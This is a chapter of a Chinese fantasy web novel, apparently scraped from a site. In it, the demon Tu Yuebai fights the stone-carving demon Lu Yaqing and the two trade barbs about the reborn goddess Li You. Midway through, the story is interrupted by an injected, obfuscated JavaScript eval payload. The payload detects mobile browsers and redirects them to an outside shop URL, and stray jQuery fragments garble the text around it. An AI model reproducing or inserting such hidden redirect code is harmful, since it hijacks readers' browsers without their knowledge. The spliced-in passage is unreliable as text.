16. 梧伤神女的恶妖
    半个时辰前

    厚重木门的爆炸来的突然,耳尖如荼月白,但还是反应慢了半拍。

    虽然爆炸声夺去了他大半注意,但他还是看到了自窗口一闪而去的,鬼鬼祟祟的墨色身影。

    没有丝毫犹疑的,荼月白飞身追上。

    那身影奔速极快,行过漆黑一片的商铺民宅,穿过杳无人迹的密林灌木,二人猫追老鼠似的,最终停在了郊外的一片空地之上。

    方才,荼月白就发现了,奔逃在前的黑色身影极为矮小,不过将将过他的膝盖,不仅如此,他还十分的瘦弱,再加上那头乱如鸡窝的黄毛,他一眼就看出了来者何人。

    鸦青,或者说,是鹿鸦青。

    恶妖少年勾唇,笑地玩味,道:“怎么不跑了?”

    话毕,他腕骨微弯,双指向月白护腕中探去。

    霎时间针飞如电……

    鹿鸦青足下生风,灵巧翻转,数十银针将将擦着他的面颊和衣摆而过,未有一根落在他的身上,他抹了两把自己的乱发,好整以暇道:“如此这般,还不是想同你好好叙叙旧么?”

    荼月白面露嫌恶,道:“鹿鸦青,我们并没有正式见过面,你的用词未免也太自来熟了。”

    黑衣孩童并未答话。

    然而他的目光遥遥望向荼月白的身后:在滕黄别院时,他就开始聚集大大小小的石块了。这些石块随他一路同奔,现在全都隐在了荼月白身后的灌木丛中。

    只见他勾唇一笑,指尖凌空一滑,一个硕大的物什自荼月白身后缓缓而出。

    忽然,“隆隆”之声传来,待到恶妖少年觉察之时,自己头顶的正上方已然汇聚起了一个硕大的石盖。

    银白月色在荼月白的瞳孔中消失,千斤重的石盖对着那雪衣身影便狠砸了下来。

    石盖坠,尘土扬。

    鹿鸦青迈着短腿几步上前,轻勾指尖,石盖应声而起,他眨着一双眸子,想要透过飞扬的尘土看到石盖下方的雪衣肉泥。

    然而,一声带笑的低语在他耳边响起:“找什么呢?”

    鹿鸦青并未看清荼月白是如何动作的,一个雪色身影便自他身侧飞速闪过。

    “轰隆”一声,石盖落,鹿鸦青拍了拍手上的尘土,摇头道:“没意思,没意思,和你玩真没意思。”

    而后,鹿鸦青又甩了甩他乱如鸡窝般的头发,向后一跃跳坐在了方才的石盖上:“可惜了,真是可惜了,我确实与你互不相熟。若是黎攸在的话便好了,至少我可以同她叙叙旧。”

    听他提及黎攸,蓝眸顿时晦暗如渊,荼月白话声冷冽,道:“你扮做这副模样混在枫渔镇究竟有何目的?”

    鹿鸦青托腮:“放心好了,我的目的并不是你,也非她。”

    荼月白冷嗤一声:“你最好是。”

    鹿鸦青二郎腿高高翘起,故意将头往荼月白的方向探,道:“既然你见我第一面时便认出了我,为何不直接拆穿我?”

    从前便是如此,黎攸要做什么事的时候,荼月白仅会在旁帮衬她,保护她。他从不会自以为是地干涉她的判断和举动,所以他并没有拆穿鹿鸦青的伪装,而是假作不知,陪他玩了起来。

    不过,更重要的是,依黎攸所言,捉到那魔后,他便对她不再有用,或许那时的他们便会分道扬镳。所以,为了能够在她身边多呆一时一刻,只要鹿鸦青一日不会伤及她,那他便一日不会戳穿他的身份。

    这也算是荼月白的一点私心。

    可是,这般忍让不是鹿鸦青猖狂的理由!

    一想到客栈洪水,枫渔歌谣,还有厅堂爆炸,荼月白就恨得一阵牙痒痒。

    恶妖少年蓝眸犀利,冷冷斜过鹿鸦青,后者则坐在那圆形石盖上晃起了脚,道:“荼月白,你素常不是最为痛恨旭晟山的么?为何现在却穿上了修士服,与那帮庸人为伍了?

    为她,她是他的一切行动准则。

    鹿鸦青早知此问题的答案,现而说出来不过是为了揶揄他,见荼月白不答,他又道:“而且啊,我们的梧伤神女黎攸什么时候转生了?就这么陪她玩捉魔游戏,你觉得有趣么?”

    荼月白敛眸,沉声道:“她才不是你们的神女,这一世她只是她自己。”

    鹿鸦青莞尔,眼眸中闪着与他躯体年龄不符的光,道:“看来,你是并不想让她恢复记忆啊。”

    荼月白的声音冰冷入骨:“这与你有关么?”

    墨衣孩童托了腮,道:“没关是没关,我只是想知道,呆在她身边的你又能做些什么呢?”

    银针裂风而去,此时的鹿鸦青未有一丝防备,被其击了个正着,针锋凌厉,将他整个掀翻。

    鹿鸦青仰面被那银针呈“大”字形钉在了石盖之上,数根莹白细棍刹那间爆开,碎石轰然飞散,他的双臂和头颅霎时间被炸了个粉碎,衣片翻飞。

    片刻,无头缺臂的孩童倏地坐起,散乱一旁的碎石似听到指挥般纷纷飞起,落于他的躯干之上。

    须臾,鹿鸦青又恢复如初。

    这副孩童身体本就是鹿鸦青所雕的石头,自是不会流血,也不惧任何攻击,不过他的衣服却是货真价实,经此一炸,无论怎样都无法复原。

    现在的他,半露着精瘦的胸膛,几缕破的不能再破的布条堪堪挂在了脖颈下和下半身上。

    知此,鹿鸦青似掰豆腐一般,自那石盖之上取了一块石料,以手作刀旁若无人地又雕了起来。他此举,仿佛立于他身前的不是刚刚攻击过他的敌人,而是可以同他唠家常的友人。

    鹿鸦青垂着头,手上动作不停,接着笑道:“你那无间怨气本是她的东西吧。你为她以情海封印此物,倒不如将这东西还她,如此这般的话,你们还能再续前缘不是么?”

    恶妖少年狠咬着后槽牙,不言。

    鹿鸦青腕骨一翻,手中的石料登时被他如切面团般轻松削落在地,末了,他笑得灿烂无邪,道:“哦,对耶,你不能还!我们梧伤神女的尸身早在十七年前就已经烂了个透。现而转生的她不过一届凡人,你若归还,那她便会像那脆弱泡沫一般,‘砰’地一声炸开了吧哈哈哈哈哈哈哈哈。”

    像是配合他的话似的,方才掉在地上的那粒小石渣“砰”地一声炸了个响。

    忽然,银针穿着莹白丝线直冲鹿鸦青而来,瞬息之间,那银线便将他的双唇缝了个严。

    须臾,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14061390|149283||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    鹿鸦青抬手,交错的银线就这般被他生生拽开,虽未落一滴血,可他的上下唇却是豁开了数道细长的口子,看起来格外骇人。

    末了,那些细小的豁□□动了起来,细细密密地凑近,生长,最终恢复原状。

    这期间,鹿鸦青的手仍然不停,半晌,一件石衣便自他的手间坠地,小小的身子向前一跃触碰到了地上新做的石衣,那硬邦邦的大石块登时柔软起来变作了一件真正的墨衣。

    鹿鸦青双手执起,不紧不慢地穿了起来。

    为了不着鹿鸦青的道,荼月白强压下方才的怒气,抬起指骨把玩起了自己腰间的笔形配饰,开始揶揄他道:“怎么,鹿冥玄呢?鹿兴炭呢?该不是你在家受了怨气,这才愤而化魔了吧?”

    鸡窝头颤动,鹿鸦青眸中冒火,恨声道:“别跟我提这两个名字!”

    荼月白和鹿鸦青此番也算是都熟知对方的燃点和真正在意之处,戳心窝子的话说得也是有来有回。

    荼月白又是笑:“怎么能不提呢,他们可是你最亲的亲人啊。”

    鹿鸦青忽而也笑,道:“荼月白,与其担心我的家事,不如担心担心我们的梧伤神女罢,虽然我此来的目的不是她,但我可没说不想陪她玩上一玩啊。”

    言罢,一个巴掌大的石雕自他掌心显影,那石雕手脸干枯,胡须茂密,身形直挺,正是滕黄。

    蓝眸一滞,银针刹那而发,石雕登时被打落在地炸裂开来。

    入滕黄别院的第一天荼月白便已识出,滕黄是货真价实的活人,而只要鹿鸦青失去作为依凭之物的石雕,那么他便不可控制活生生的滕黄。

    那么尚在滕黄别院的黎攸便也不会受到半分伤害。

    银针将碎石块在地上牢牢钉死,即使它们挣扎着想要拼接粘合,但最终还是无济于事。

    鹿鸦青见此,摊手惋惜道:“多好的一个老傀儡啊,就这么被你又毁了,你可知我雕这么一个可是很费事的。”

    鹿鸦青盘腿席地而坐,以手指戳着地上的滕黄石雕碎屑,音色一转,道:“荼月白,你不愧是她养出来的狗崽子,遇人呲牙,只对她摇尾的狗崽子!”

    恶妖少年扬唇,蓝眸溢满璀璨星辰:“鹿鸦青,你是不是年纪太大记忆也衰退了,我是妖啊,才不是什么狗。”

    是只属于黎攸的妖。

    鹿鸦青道:“这位恶妖公子,你是不是太过自信了,你就这么肯定我只有这么一个小时候的我的分身么?”

    末了,墨衫孩童扯开了自己的衣领,他的脖颈之上赫然显现了一个漆黑的大字“贰”。

    鹿鸦青雕石头,并非每种都只雕一个,有时遇到他喜欢的人或物,他一雕便会雕上一整面架子,比如说小时候的他自己,也是现在的这幅身躯。

    而同时呢,他又偏执地认为,即使石雕雕的都是同一个人,同一个姿势甚至是表情,但它们的每一个都是与众不同的。因此,他会给自己每一个的相同作品取一个编号。

    这就是说,荼月白这里的小鸦青是贰号的话,那必然壹号也是存在的。

    闻声,荼月白脸色微变,雪衣瞬时化作一道风,便向着滕黄别院的方向一闪而去。